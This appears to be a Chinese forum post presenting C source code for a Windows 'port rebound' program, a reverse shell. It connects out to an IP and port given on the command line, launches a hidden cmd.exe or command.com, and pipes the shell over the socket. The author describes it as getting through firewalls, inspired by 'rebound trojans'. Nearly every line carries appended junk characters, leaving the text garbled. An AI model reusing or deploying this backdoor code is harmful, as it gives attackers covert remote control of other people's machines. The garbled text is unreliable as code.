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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 py6<QoGV  
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/* ============================== DJGafX^  
Rebound port in Windows NT 9.)z]Gav  
By wind,2006/7 S5>s&  
===============================*/ V#G)w~   
#include <4{m99  
#include FNGa4  
bH+NRNI]  
#pragma comment(lib,"wsock32.lib") VQIvu)I  
B*/!s7c.  
void OutputShell(); wv~:^v'  
SOCKET sClient; <B@NSj  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; w4fKh  
j"Jf|Hq $  
void main(int argc,char **argv) %oBP6|e  
{ zw#n85=  
WSADATA stWsaData; =r]l"T  
int nRet; Xg~9<BGsi  
SOCKADDR_IN stSaiClient,stSaiServer; stiF`l  
RvG=GJJ9  
if(argc != 3) EPE_2a}  
{ (wj:Gc  
printf("Useage:\n\rRebound DestIP DestPort\n"); ?}`- ?JB1  
return; c0wLc,)G  
} y\v#qFVOZ  
~\=D@G,9  
WSAStartup(MAKEWORD(2,2),&stWsaData); 7U7!'xU  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~vTwuc\(H  
Z/,R{Jgt"  
stSaiClient.sin_family = AF_INET; #91^1jyMf  
stSaiClient.sin_port = htons(0); %P}H3;2  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %OoH<\w w  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) bo<P%$(D  
{ b}TvQ+W]2  
printf("Bind Socket Failed!\n"); h6k" D4o\  
return;  Z 9:  
} -k + jMH  
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stSaiServer.sin_family = AF_INET; `E|i8M3g  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +'8a>K^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); cr;:5D%_  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :E}y Pcw  
{ F'MX9P  
printf("Connect Error!"); :]:)c8!6  
return; iw#~xel<ez  
} Mbc&))A  
OutputShell(); -sJ1q^;f@  
} OROvy  
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void OutputShell() +iQ@J+k  
{ k, N{  
char szBuff[1024]; g$]WKy(D  
SECURITY_ATTRIBUTES stSecurityAttributes; 89>}`:xS^  
OSVERSIONINFO stOsversionInfo; he(K   
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; E5i5gE"\  
STARTUPINFO stStartupInfo; LZ wCe$1  
char *szShell; yH('Vl  
PROCESS_INFORMATION stProcessInformation; 3li$)S1z  
unsigned long lBytesRead; 4T3Z9KD!8  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (:8a6=xQ  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  kNK0KL  
stSecurityAttributes.lpSecurityDescriptor = 0; =F|9 ac9X  
stSecurityAttributes.bInheritHandle = TRUE; 5Pf=Uj6D  
n*"r!&Dg  
1\}XL=BE  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J4ZHE\  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6):1U  
N!ihj:,  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); IP/%=m)\%  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]I)ofXu]  
stStartupInfo.wShowWindow = SW_HIDE; L\UPM+tE  
stStartupInfo.hStdInput = hReadPipe; u<8b5An;  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; tN<X3$aN  
/=YNkw5   
GetVersionEx(&stOsversionInfo); "gy&eR>  
hDi~{rbmc  
switch(stOsversionInfo.dwPlatformId) 56 JQ h  
{ O? g;Ny  
case 1: t Aq0Z)  
szShell = "command.com"; T9R# .y,  
break; nrY)i_\  
default: mhVLlb Y|t  
szShell = "cmd.exe"; 46]BRL2 G  
break; |&"aZ!Kn  
} `(HvD] l  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^'[QCwY~  
Lfn$Q3}O`$  
send(sClient,szMsg,77,0); :!MEBqcU  
while(1) i{m!v6j:  
{ T^Ia^B-%}g  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Q>D//_TF  
if(lBytesRead)  >SQzE  
{ H?O5 "4a  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _{c_z*rM8  
send(sClient,szBuff,lBytesRead,0); ATqblU>D  
} O|sk "YXF  
else y5F+~z }{  
{ "x R6~8  
lBytesRead=recv(sClient,szBuff,1024,0); }$z(?b  
if(lBytesRead<=0) break; Eu' ;f_s  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); nQQHm6N  
} 7Tk//By7  
} kJmwR  
lIS`_H}  
return; Xr=BxBttp  
}
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